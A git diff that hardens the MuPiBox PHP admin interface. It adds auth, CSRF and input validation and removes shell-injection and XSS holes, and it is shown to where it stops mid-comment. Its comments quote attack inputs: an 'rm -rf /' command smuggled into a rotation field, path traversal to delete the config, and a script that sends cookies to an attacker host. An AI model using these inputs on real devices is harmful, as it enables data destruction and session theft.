diff --git a/AdminInterface/www/admin.php b/AdminInterface/www/admin.php index aa8c6c6d..70fe287a 100644 --- a/AdminInterface/www/admin.php +++ b/AdminInterface/www/admin.php @@ -10,37 +10,99 @@ function write_json($data) exec("sudo -i -u dietpi /usr/local/bin/mupibox/./restart_kiosk.sh"); } + // Narrow header-only auth gate for the submitfile upload handler below. + // The handler lives ABOVE `include 'includes/header.php'`, so without + // this an unauthenticated LAN POST can drop a crafted zip and have it + // extracted to / via `unzip -d /`. All other POST handlers in this + // file run AFTER the include — header.php's own auth gate already + // blocks them on unauth, so we explicitly do NOT block other POSTs + // here. In particular the login POST (password=...) must flow through + // to header.php so the user can authenticate in the first place. + session_start(); + $__authJson = file_get_contents('/etc/mupibox/mupiboxconfig.json', true); + $__authCfg = json_decode($__authJson, true); + $__loginRequired = !empty($__authCfg['interfacelogin']['state']); + $__loggedIn = isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true; + if ($__loginRequired && !$__loggedIn && !empty($_POST['submitfile'])) { + http_response_code(403); + exit('Authentication required'); + } + $shutdown=0; $reboot=0; - if( $_POST['submitfile'] ) + if( !empty($_POST['submitfile']) ) { $target_dir = "/tmp/"; - $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); + // Strip any directory components from the user-controlled filename. + // The filename is later interpolated into a shell command, so even + // after escapeshellarg() we want the basename so the file lands in + // /tmp/ and not somewhere else via a relative path inside the name. + $rawName = basename($_FILES["fileToUpload"]["name"]); + // Conservative whitelist on filename: letters, digits, dot, dash, + // underscore. Anything else (spaces, quotes, semicolons, …) is + // rejected outright. Backup zips produced by backup.php/fullbackup.php + // match this pattern. $uploadOk = 1; - $FileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); - // Allow zip file format - if($FileType != "zip" ) - { + if (!preg_match('/^[A-Za-z0-9._-]+\.zip$/', $rawName)) { $uploadOk = 0; - } + } + $target_file = $target_dir . $rawName; // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { - $CHANGE_TXT=$CHANGE_TXT."
  • WARNING: Please upload a .zip-File!
  • "; + $CHANGE_TXT=$CHANGE_TXT."
  • WARNING: Please upload a .zip-File! (only A-Z, 0-9, ._- allowed in filename)
  • "; $change=0; } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { + // ZIP-Slip / arbitrary-path defence. backup.php and + // fullbackup.php only ever pack files under three roots — + // reject any zip entry that escapes them. Without this, + // `unzip -o -a -d /` happily writes anywhere on disk. + $allowedPrefixes = [ + 'home/dietpi/MuPiBox/media/', + 'etc/mupibox/mupiboxconfig.json', + 'home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/data.json', + ]; + $zip = new ZipArchive(); + $zipOk = false; + $badEntry = ''; + if ($zip->open($target_file) === true) { + $zipOk = true; + for ($i = 0; $i < $zip->numFiles; $i++) { + $entry = $zip->getNameIndex($i); + // Normalise: strip leading slash, forbid `..` + $norm = ltrim($entry, '/'); + if (strpos($norm, '..') !== false) { + $zipOk = false; + $badEntry = $entry; + break; + } + $matched = false; + foreach ($allowedPrefixes as $p) { + if (strpos($norm, $p) === 0) { $matched = true; break; } + } + if (!$matched) { + $zipOk = false; + $badEntry = $entry; + break; + } + } + $zip->close(); + } + if (!$zipOk) { + exec("sudo rm " . escapeshellarg($target_file)); + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: Backup rejected (entry outside whitelist: ".htmlspecialchars($badEntry).")
  • "; + $change=0; + } else { $string = file_get_contents('/etc/mupibox/mupiboxconfig.json', true); $data = json_decode($string, true); $old_version = $data["mupibox"]["version"]; - $command = "sudo unzip -o -a '".$target_file."' -d / >> /tmp/restore.log"; - #$command = "sudo su - -c \"unzip -o -a '".$target_file."' -d / >> /tmp/restore.log && sleep 1\""; - #$command = "sudo su - -c 'tar xvzf ".$target_file." >> /tmp/restore.log'"; + $command = "sudo unzip -o -a " . escapeshellarg($target_file) . " -d / >> /tmp/restore.log"; exec($command, $output, $result ); exec("sudo chown root:www-data /etc/mupibox/mupiboxconfig.json"); exec("sudo chmod 644 /etc/mupibox/mupiboxconfig.json"); @@ -55,17 +117,18 @@ function write_json($data) $data["mupibox"]["version"] = $old_version; write_json($data); - $command = "sudo /boot/dietpi/func/change_hostname " . $data["mupibox"]["host"]; + $command = "sudo /boot/dietpi/func/change_hostname " . escapeshellarg($data["mupibox"]["host"]); $change_hostname = exec($command, $output, $change_hostname ); $command = "sudo su dietpi -c '/usr/local/bin/mupibox/./set_hostname.sh'"; exec($command); - - $command = "sudo rm '".$target_file."'"; + + $command = "sudo rm " . escapeshellarg($target_file); exec($command, $output, $result ); $change=99; $CHANGE_TXT=$CHANGE_TXT."
  • Backup-File restored! The MuPiBox will reboot now!
  • "; $reboot=1; } + } else { $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: Error on uploading Backup-File!
  • "; diff --git a/AdminInterface/www/backend.php b/AdminInterface/www/backend.php index 34143678..fd4ae587 100644 --- a/AdminInterface/www/backend.php +++ b/AdminInterface/www/backend.php @@ -1,4 +1,9 @@ '/home/dietpi/.pm2/logs/server-error.log', 'server-out' => '/home/dietpi/.pm2/logs/server-out.log', diff --git a/AdminInterface/www/backup.php b/AdminInterface/www/backup.php index a427c4ba..0974f29d 100644 --- a/AdminInterface/www/backup.php +++ b/AdminInterface/www/backup.php @@ -1,5 +1,12 @@ BT-Autoconnect-Service disabled"; } + // Both BT-handlers feed a MAC address into a shell exec. The receiving + // scripts (pair_bt.sh / remove_bt.sh) already validate the MAC via + // regex since CRIT-7, but the shell command line itself is built here + // — if we don't validate, an attacker (admin-authenticated, but still) + // could squeeze backticks or `; rm -rf` into the parameter and the + // shell would expand it before pair_bt.sh ever runs. Defence in depth: + // reject anything that isn't a canonical AA:BB:CC:DD:EE:FF MAC, then + // escapeshellarg() the value as well. + $btMacRegex = '/^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$/'; if( $_POST['remove_selected'] ) { - $command = "sudo -u dietpi /usr/local/bin/mupibox/./remove_bt.sh ".$_POST['remove_mac']; - exec($command, $output, $result ); - $CHANGE_TXT=$CHANGE_TXT."
  • Pairing removed [".$_POST['remove_mac']."
  • "; - $command = "sudo -u dietpi /usr/local/bin/mupibox/./stop_bt.sh"; - exec($command, $output, $result ); - $command = "sudo -u dietpi /usr/local/bin/mupibox/./start_bt.sh"; - exec($command, $output, $result ); - - $change=1; + $mac = $_POST['remove_mac'] ?? ''; + if (!preg_match($btMacRegex, $mac)) { + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: invalid MAC, refused
  • "; $change=1; + } else { + $command = "sudo -u dietpi /usr/local/bin/mupibox/./remove_bt.sh " . escapeshellarg($mac); + exec($command, $output, $result ); + $CHANGE_TXT=$CHANGE_TXT."
  • Pairing removed [" . htmlspecialchars($mac) . "]
  • "; + $command = "sudo -u dietpi /usr/local/bin/mupibox/./stop_bt.sh"; + exec($command, $output, $result ); + $command = "sudo -u dietpi /usr/local/bin/mupibox/./start_bt.sh"; + exec($command, $output, $result ); + $change=1; + } } if( $_POST['pair_selected'] ) { - $command = "sudo -u dietpi /usr/local/bin/mupibox/./pair_bt.sh ".$_POST['bt_device']; - exec($command, $output, $result ); - $CHANGE_TXT=$CHANGE_TXT."
  • Device is paired [".$_POST['bt_device']."
  • "; - $change=1; + $mac = $_POST['bt_device'] ?? ''; + if (!preg_match($btMacRegex, $mac)) { + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: invalid MAC, refused
  • "; $change=1; + } else { + $command = "sudo -u dietpi /usr/local/bin/mupibox/./pair_bt.sh " . escapeshellarg($mac); + exec($command, $output, $result ); + $CHANGE_TXT=$CHANGE_TXT."
  • Device is paired [" . htmlspecialchars($mac) . "]
  • "; + $change=1; + } } @@ -151,11 +177,20 @@ foreach($pairoutput as $device) { $split_device=explode(" ", $device); + // AR5-15: the MAC comes from `bluetoothctl devices` so it's normally + // a safe AA:BB:CC:DD:EE:FF value, but a paired device with a + // hostile-name BT stack could in theory emit a forged second + // column. escapeshellarg for the shell side, htmlspecialchars + // for the form/HTML side. + $mac = $split_device[1] ?? ''; + $name = $split_device[2] ?? ''; + $macHtml = htmlspecialchars($mac, ENT_QUOTES); + $nameHtml = htmlspecialchars($name, ENT_QUOTES); print "
    "; - print ""; + print ""; print " "; - print $split_device[2]." [".$split_device[1]."]"; - $command = "sudo -u dietpi bluetoothctl info ".$split_device[1]." | grep 'Connected: yes'"; + print $nameHtml." [".$macHtml."]"; + $command = "sudo -u dietpi bluetoothctl info ".escapeshellarg($mac)." | grep 'Connected: yes'"; unset($connoutput); exec($command, $connoutput, $connresult ); if( $connoutput[0] ) diff --git a/AdminInterface/www/content.php b/AdminInterface/www/content.php index 1bdd3131..dbd9564d 100644 --- a/AdminInterface/www/content.php +++ b/AdminInterface/www/content.php @@ -6,9 +6,14 @@

    Audio books, music and streams can be added here. Control is the same as on the display, but the display is not synchronized. Playing music cannot be started here.

    "; - print "

    If it doesn't display properly or can't be served, try this Link and click me...

    "; + // LOW-2: same XSS vector as vnc.php — host attribute escape. + // hostname -I output is system-controlled and shouldn't contain + // dangerous chars, but escape it too just in case (hostname could + // theoretically be a value an attacker has set elsewhere). + $h = htmlspecialchars((string)$data["mupibox"]["host"], ENT_QUOTES, 'UTF-8'); + $hIp = htmlspecialchars((string)$ip, ENT_QUOTES, 'UTF-8'); + print "

    "; + print "

    If it doesn't display properly or can't be served, try this Link and click me...

    "; ?> diff --git a/AdminInterface/www/cover.php b/AdminInterface/www/cover.php index de5e99a1..ddd8d395 100644 --- a/AdminInterface/www/cover.php +++ b/AdminInterface/www/cover.php @@ -3,19 +3,41 @@ if( $_POST['deleteimage'] ) { - $file2delete = "/var/www/cover/".$_POST['image']; - exec("sudo rm " . $file2delete); - $change=1; - $CHANGE_TXT=$CHANGE_TXT."
  • Image " . $file2delete . " deleted!
  • "; + // `sudo rm /var/www/cover/$image` ran as root, with $image straight + // from POST. POSTing image=../../etc/mupibox/mupiboxconfig.json + // would happily wipe the box's config. basename() collapses any + // path components, and a name whitelist (only filename-safe chars) + // rejects shell metacharacters before escapeshellarg. + $rawName = basename($_POST['image'] ?? ''); + if (!preg_match('/^[A-Za-z0-9._-]+$/', $rawName)) { + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: invalid image filename, refused
  • "; + $change=1; + } else { + $file2delete = "/var/www/cover/" . $rawName; + exec("sudo rm " . escapeshellarg($file2delete)); + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • Image " . htmlspecialchars($file2delete) . " deleted!
  • "; + } } if( $_POST['submitfile'] ) { $target_dir = "/var/www/cover/"; - $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); + // M10: same filename whitelist as the deleteimage branch. basename() + // alone strips path components but happily passes "<", quotes, "&", + // spaces and unicode lookalikes — those land in the file listing + // below and (without htmlspecialchars there) inject into the + // tag rendered for every admin who loads cover.php afterwards. + // Reject anything that isn't filename-safe ASCII before we even + // look at the bytes. + $rawName = basename($_FILES["fileToUpload"]["name"] ?? ''); $uploadOk = 1; - //$FileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); + if (!preg_match('/^[A-Za-z0-9._-]+\.(jpe?g|png|gif|webp)$/i', $rawName)) { + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: invalid image filename. Use letters, digits, dot, underscore, dash only, with .jpg/.jpeg/.png/.gif/.webp extension.
  • "; + $uploadOk = 0; + } + $target_file = $target_dir . $rawName; - if (is_file($target_file)) { + if ($uploadOk && is_file($target_file)) { $CHANGE_TXT=$CHANGE_TXT."
  • There is already an image with this name! This file will be overwritten!
  • "; } @@ -93,13 +115,21 @@ $files = glob('/var/www/cover/*.{jpeg,jpg,png,gif,webp}', GLOB_BRACE); print "
    "; + // M10 defence-in-depth: escape every basename and the host into HTML + // attribute context. The upload branch now rejects unsafe names, but + // older files from before this patch may still live on disk — escape + // at render time so legacy data can't break out of the attributes. + $hostHtml = htmlspecialchars($data["mupibox"]["host"] ?? '', ENT_QUOTES); foreach($files as $file) { + $name = basename($file); + $nameHtml = htmlspecialchars($name, ENT_QUOTES); + $nameUrl = rawurlencode($name); print "
    "; print ""; - print ""; + print ""; print "
    "; - print "

    URL: http://".$data["mupibox"]["host"]."/cover/".basename($file).""; - print ""; + print "

    URL: http://".$hostHtml."/cover/".$nameHtml.""; + print ""; print "

    "; print "
    "; } diff --git a/AdminInterface/www/debug.php b/AdminInterface/www/debug.php index 9ca6bece..45d0d2f2 100644 --- a/AdminInterface/www/debug.php +++ b/AdminInterface/www/debug.php @@ -1,4 +1,10 @@ '; + } + function csrf_check(): void { + if ($_SERVER['REQUEST_METHOD'] !== 'POST') return; + $submitted = $_POST['csrf_token'] ?? ''; + if (!hash_equals(csrf_token(), $submitted)) { + http_response_code(403); + header('Content-Type: text/plain; charset=utf-8'); + echo "CSRF token mismatch — please reload the page and try again.\n"; + exit; + } + } +} diff --git a/AdminInterface/www/includes/header.php b/AdminInterface/www/includes/header.php index 65915a8b..507d1860 100644 --- a/AdminInterface/www/includes/header.php +++ b/AdminInterface/www/includes/header.php @@ -1,6 +1,14 @@ Shutdown MuPiBox"; - } - if ($_GET['hreboot']) { - $reboot = 1; - $change=99; - $CHANGE_TXT=$CHANGE_TXT."
  • Reboot MuPiBox
  • "; - } - if ($_GET['hchromerestart']) { - exec("sudo -i -u dietpi /usr/local/bin/mupibox/./restart_kiosk.sh"); - $change=99; - $CHANGE_TXT=$CHANGE_TXT."
  • Restart Chrome kiosk
  • "; - } - if ($_GET['hrefreshdatabase']) { - exec("sudo /usr/local/bin/mupibox/./m3u_generator.sh"); - $change=99; - $CHANGE_TXT=$CHANGE_TXT."
  • Update media database finished
  • "; - } + // These GET handlers reboot/shutdown the box and run privileged scripts + // (restart_kiosk.sh, m3u_generator.sh). They MUST be gated by the login + // check; otherwise an unauthenticated LAN attacker can curl + // `?hshutdown=1` and DoS the box, or `?hrefreshdatabase=1` to grind the + // SD card. The auth gate further down the file is the single source of + // truth for whether the caller is allowed in — mirror it here. + $authGatePassed = !$loginEnabled + || (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true); + if ($authGatePassed) { + if (isset($_GET['hshutdown'])) { + $shutdown = 1; + $change=99; + $CHANGE_TXT=$CHANGE_TXT."
  • Shutdown MuPiBox
  • "; + } + if (isset($_GET['hreboot'])) { + $reboot = 1; + $change=99; + $CHANGE_TXT=$CHANGE_TXT."
  • Reboot MuPiBox
  • "; + } + if (isset($_GET['hchromerestart'])) { + exec("sudo -i -u dietpi /usr/local/bin/mupibox/./restart_kiosk.sh"); + $change=99; + $CHANGE_TXT=$CHANGE_TXT."
  • Restart Chrome kiosk
  • "; + } + if (isset($_GET['hrefreshdatabase'])) { + exec("sudo /usr/local/bin/mupibox/./m3u_generator.sh"); + $change=99; + $CHANGE_TXT=$CHANGE_TXT."
  • Update media database finished
  • "; + } + } $mupihat_file = '/tmp/mupihat.json'; $mupihat_state = false; diff --git a/AdminInterface/www/jsoneditor.php b/AdminInterface/www/jsoneditor.php index c964e4e5..1c7db3ef 100644 --- a/AdminInterface/www/jsoneditor.php +++ b/AdminInterface/www/jsoneditor.php @@ -1,15 +1,27 @@ '/etc/mupibox/mupiboxconfig.json', 'data' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/data.json', 'config' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/config.json', 'resume' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/resume.json', - 'monitor' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/resume.json', + 'monitor' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/monitor.json', 'offline_resume' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/offline_resume.json', - 'offline_monitor' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/offline_resume.json' + 'offline_monitor' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/offline_monitor.json' ]; $key = $_GET['file'] ?? 'mupiboxconfig'; @@ -21,14 +33,72 @@ // Speichern if ($_SERVER['REQUEST_METHOD'] === 'POST') { + $submittedToken = $_POST['csrf_token'] ?? ''; + if (!hash_equals($csrfToken, $submittedToken)) { + $message = "❌ CSRF token mismatch — please reload the page and try again."; + } else { $json = $_POST['jsondata'] ?? ''; $decoded = json_decode($json, true); if (json_last_error() === JSON_ERROR_NONE) { - file_put_contents($file, json_encode($decoded, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); - $message = "✅ File saved."; + // interfacelogin pinning: when editing mupiboxconfig.json, refuse to + // let the editor change `interfacelogin` (state + password hash). + // Otherwise an attacker who slips a CSRF past us — or a curious admin + // who clears `state` "to test something" — locks themselves out or, + // worse, silently re-opens the box. Authentication is managed via + // the dedicated login.php, not here. + if ($key === 'mupiboxconfig') { + $diskRaw = file_get_contents($file); + $diskCfg = json_decode($diskRaw, true); + if (isset($diskCfg['interfacelogin'])) { + $decoded['interfacelogin'] = $diskCfg['interfacelogin']; + } + } + + // Two-stage write to survive write_json's permission model: + // www-data cannot write into /home/dietpi/.mupibox/.../config/ + // (dir is dietpi:dietpi 755), so a same-dir tempfile fails. Instead: + // 1. file_put_contents to /tmp/ (always writable for www-data) + // 2. sudo install -m -o -g /tmp/ $file + // `install` overwrites in-place via copy, then unlinks the source — + // not a same-fs rename, so the cross-fs window is not strictly atomic, + // but it matches admin.php's existing write_json() pattern (sudo mv + // from /tmp) and preserves owner/perms across the swap. + $tmp = '/tmp/.jsoneditor.' . bin2hex(random_bytes(8)) . '.json'; + $bytes = file_put_contents($tmp, json_encode($decoded, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); + if ($bytes === false) { + $message = "❌ Could not write temp file (permissions?)."; + } else { + $stat = stat($file); + if ($stat === false) { + @unlink($tmp); + $message = "❌ Could not stat target file."; + } else { + $mode = sprintf('%04o', $stat['mode'] & 0777); + // Resolve owner/group names — install requires names not numeric ids. + $ownerInfo = posix_getpwuid($stat['uid']); + $groupInfo = posix_getgrgid($stat['gid']); + $owner = $ownerInfo ? $ownerInfo['name'] : 'root'; + $group = $groupInfo ? $groupInfo['name'] : 'root'; + $cmd = 'sudo install -m ' . escapeshellarg($mode) + . ' -o ' . escapeshellarg($owner) + . ' -g ' . escapeshellarg($group) + . ' ' . escapeshellarg($tmp) + . ' ' . escapeshellarg($file) + . ' 2>&1'; + exec($cmd, $output, $rc); + @unlink($tmp); + if ($rc !== 0) { + $message = "❌ Could not commit file (install rc=$rc): " + . htmlspecialchars(implode("\n", $output)); + } else { + $message = "✅ File saved."; + } + } + } } else { $message = "❌ Error in JSON: " . json_last_error_msg(); } + } } $current = file_get_contents($file); @@ -57,6 +127,7 @@ $message
    "; ?>
    +
    diff --git a/AdminInterface/www/media.php b/AdminInterface/www/media.php index 92fda996..85a7343c 100644 --- a/AdminInterface/www/media.php +++ b/AdminInterface/www/media.php @@ -173,56 +173,76 @@ function load_dataset($all_media, $bearer_json) print "./images/empty.png"; } } + // MED-15: every $all_media[…] field below is rendered raw into + // HTML. data.json is admin-controlled in normal use, but its + // contents flow from /api/add and /api/edit which themselves + // take user input — and even more directly, RSS resume entries + // pick up the feed's own title/description fields, which are + // fully attacker-controlled. A podcast feed with + // `<script>fetch('http://attacker/'+document.cookie) + // </script>` would land that script into media.php + // (the admin's session cookie + interfacelogin password hash + // as exfil candidates). htmlspecialchars on every echoed + // value, plus URL-validation on the href anchors so a + // `cover` value of `javascript:alert(1)` can't activate. + $h = function($v) { return htmlspecialchars((string)$v, ENT_QUOTES, 'UTF-8'); }; + // For href values we additionally insist on http(s) — anything + // else (javascript:, data:, file:) collapses to '#'. + $safeHref = function($v) { + $s = (string)$v; + if (preg_match('#^https?://#i', $s)) return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); + return '#'; + }; print "'>
    "; - print ""; - print ""; - print ""; + print "
    Index:" . $all_media['index'] . "
    Type:" . $all_media['type'] . "
    Category:" . $all_media['category'] . "
    "; + print ""; + print ""; if($all_media['artist']) { - print ""; + print ""; } if($all_media['title']) { - print ""; + print ""; } if($all_media['id']) { if($all_media['category'] == "radio") { - print ""; + print ""; } else { - print ""; + print ""; } } if($all_media['artistid']) { - print ""; + print ""; } if($all_media['showid']) { - print ""; + print ""; } if($all_media['query']) { - print ""; + print ""; } if($all_media['shuffle']) { - print ""; + print ""; } if($all_media['cover']) { - print ""; + print ""; } if($all_media['artistcover']) { - print ""; + print ""; } if($all_media['sorting']) { - print ""; + print ""; } if($all_media['aPartOfAll']) { @@ -230,16 +250,16 @@ function load_dataset($all_media, $bearer_json) } if($all_media['aPartOfAllMin']) { - print ""; + print ""; } if($all_media['aPartOfAllMax']) { - print ""; + print ""; } - + if($url2media) { - print ""; + print ""; } print "
    Index:" . $h($all_media['index']) . "
    Type:" . $h($all_media['type']) . "
    Category:" . $h($all_media['category']) . "
    Artist:" . $all_media['artist'] . "
    Artist:" . $h($all_media['artist']) . "
    Title:" . $all_media['title'] . "
    Title:" . $h($all_media['title']) . "
    ID:" . $all_media['id'] . "
    ID:" . $h($all_media['id']) . "
    ID:" . $all_media['id'] . "
    ID:" . $h($all_media['id']) . "
    ID:" . $all_media['artistid'] . "
    ID:" . $h($all_media['artistid']) . "
    ID:" . $all_media['showid'] . "
    ID:" . $h($all_media['showid']) . "
    Search query:" . $all_media['query'] . "
    Search query:" . $h($all_media['query']) . "
    Shuffle:" . $all_media['shuffle'] . "
    Shuffle:" . $h($all_media['shuffle']) . "
    Cover-URL:" . substr($all_media['cover'],0,45) . "...
    Cover-URL:" . $h(substr($all_media['cover'],0,45)) . "...
    Cover-URL:" . substr($all_media['artistcover'],0,45) . "...
    Cover-URL:" . $h(substr($all_media['artistcover'],0,45)) . "...
    Sorting:".$all_media['sorting']."
    Sorting:".$h($all_media['sorting'])."
    Interval-Start:".$all_media['aPartOfAllMin']."
    Interval-Start:".$h($all_media['aPartOfAllMin'])."
    Interval-End:".$all_media['aPartOfAllMax']."
    Interval-End:".$h($all_media['aPartOfAllMax'])."
    Spotify:" . substr($url2media,0,45) . "...
    Spotify:" . $h(substr($url2media,0,45)) . "...
    \n"; //print "URL: " . $all_media['type'] . "
    "; diff --git a/AdminInterface/www/mupi.php b/AdminInterface/www/mupi.php index 7b1441fb..af88969c 100644 --- a/AdminInterface/www/mupi.php +++ b/AdminInterface/www/mupi.php @@ -26,23 +26,41 @@ $dlcd_rotation_state=`sed -n '/^[[:blank:]]*display_lcd_rotate=/{s/^[^=]*=//p;q}' /boot/config.txt`; $hdmi_rotation_state=`sed -n '/^[[:blank:]]*display_hdmi_rotate=/{s/^[^=]*=//p;q}' /boot/config.txt`; - if(isset($_POST['hdmi_rotation']) && $_POST['hdmi_rotation'] != substr($hdmi_rotation_state,0,-1)) + // Display rotations: dietpi accepts integer rotation values (0/90/180/270 + // for HDMI, 0/1/2/3 for LCD-flips). The values were spliced into a + // double-quoted shell string verbatim — a POST with hdmi_rotation="0\"; + // rm -rf /; #" would have torn the quoting apart. intval() collapses + // anything non-numeric to 0 (safe default = no rotation). + $rotationWhitelist = [0, 1, 2, 3, 90, 180, 270]; + if(isset($_POST['hdmi_rotation'])) { - exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'display_hdmi_rotate=' 'display_hdmi_rotate=" . $_POST['hdmi_rotation'] . "' /boot/config.txt\""); - $change=1; - $CHANGE_TXT=$CHANGE_TXT."
  • Set HDMI-Rotation [reboot is necessary]
  • "; + $hdmiRot = intval($_POST['hdmi_rotation']); + if (in_array($hdmiRot, $rotationWhitelist, true) && $hdmiRot != substr($hdmi_rotation_state,0,-1)) + { + exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'display_hdmi_rotate=' 'display_hdmi_rotate=" . $hdmiRot . "' /boot/config.txt\""); + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • Set HDMI-Rotation [reboot is necessary]
  • "; + } } - if(isset($_POST['lcd_rotation']) && $_POST['lcd_rotation'] != substr($lcd_rotation_state,0,-1)) + if(isset($_POST['lcd_rotation'])) { - exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'lcd_rotate=' 'lcd_rotate=" . $_POST['lcd_rotation'] . "' /boot/config.txt\""); - $change=1; - $CHANGE_TXT=$CHANGE_TXT."
  • Set LCD-Rotation [reboot is necessary]
  • "; + $lcdRot = intval($_POST['lcd_rotation']); + if (in_array($lcdRot, $rotationWhitelist, true) && $lcdRot != substr($lcd_rotation_state,0,-1)) + { + exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'lcd_rotate=' 'lcd_rotate=" . $lcdRot . "' /boot/config.txt\""); + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • Set LCD-Rotation [reboot is necessary]
  • "; + } } - if(isset($_POST['dlcd_rotation']) && $_POST['dlcd_rotation'] != substr($dlcd_rotation_state,0,-1)) + if(isset($_POST['dlcd_rotation'])) { - exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'display_lcd_rotate=' 'display_lcd_rotate=" . $_POST['dlcd_rotation'] . "' /boot/config.txt\""); - $change=1; - $CHANGE_TXT=$CHANGE_TXT."
  • Set Display-LCD-Rotation [reboot is necessary]
  • "; + $dlcdRot = intval($_POST['dlcd_rotation']); + if (in_array($dlcdRot, $rotationWhitelist, true) && $dlcdRot != substr($dlcd_rotation_state,0,-1)) + { + exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'display_lcd_rotate=' 'display_lcd_rotate=" . $dlcdRot . "' /boot/config.txt\""); + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • Set Display-LCD-Rotation [reboot is necessary]
  • "; + } } if($_POST['stop_sleeptimer'] == "Stop running timer") @@ -163,12 +181,25 @@ if($_POST['potimer']) { - $timerSleepingTime=$_POST['powerofftimer']*60; - $command = "sudo nohup /usr/local/bin/mupibox/./sleep_timer.sh ".$timerSleepingTime." > /dev/null 2>&1 &"; - exec($command); - $change=3; - $CHANGE_TXT=$CHANGE_TXT."
  • ".$_POST['powerofftimer']." minutes sleeptimer started
  • "; - //sudo pkill -f "sleep_timer.sh" + // powerofftimer is in minutes (admin-typed). intval() forces it to + // an integer; the *60 just produces another integer, so even + // without escapeshellarg() the shell only sees digits. Plus a + // sanity cap: 24 hours is the longest a parent could reasonably + // want, beyond that it's an input mistake or an attacker. + $minutes = intval($_POST['powerofftimer'] ?? 0); + if ($minutes > 0 && $minutes <= 24 * 60) + { + $timerSleepingTime = $minutes * 60; + $command = "sudo nohup /usr/local/bin/mupibox/./sleep_timer.sh " . $timerSleepingTime . " > /dev/null 2>&1 &"; + exec($command); + $change=3; + $CHANGE_TXT=$CHANGE_TXT."
  • " . $minutes . " minutes sleeptimer started
  • "; + //sudo pkill -f "sleep_timer.sh" + } + else + { + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: invalid sleeptimer value, refused
  • "; + } } if( $_POST['change_netboot'] == "activate for next boot" ) @@ -233,12 +264,25 @@ if ($_POST['change_cpug']) { - $command = "sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'CONFIG_CPU_GOVERNOR=' 'CONFIG_CPU_GOVERNOR=".$_POST['cpugovernor']."' /boot/dietpi.txt\""; - $test=exec($command, $output, $result ); - $command = "sudo /boot/dietpi/func/dietpi-set_cpu"; - exec($command, $output, $result ); - $change=1; - $CHANGE_TXT=$CHANGE_TXT."
  • CPU Governor changet to ".$_POST['cpugovernor']."
  • "; + // H6: $_POST['cpugovernor'] floss bisher ungeprüft als Substring in + // einen verschachtelten `sudo su -c "...G_CONFIG_INJECT 'CONFIG_CPU_GOVERNOR='..."`- + // Aufruf — post-auth Command-Injection. Whitelist gegen die vom Kernel + // tatsächlich angebotenen Governors aus scaling_available_governors; + // das ist auch genau die Liste, aus der der HTML-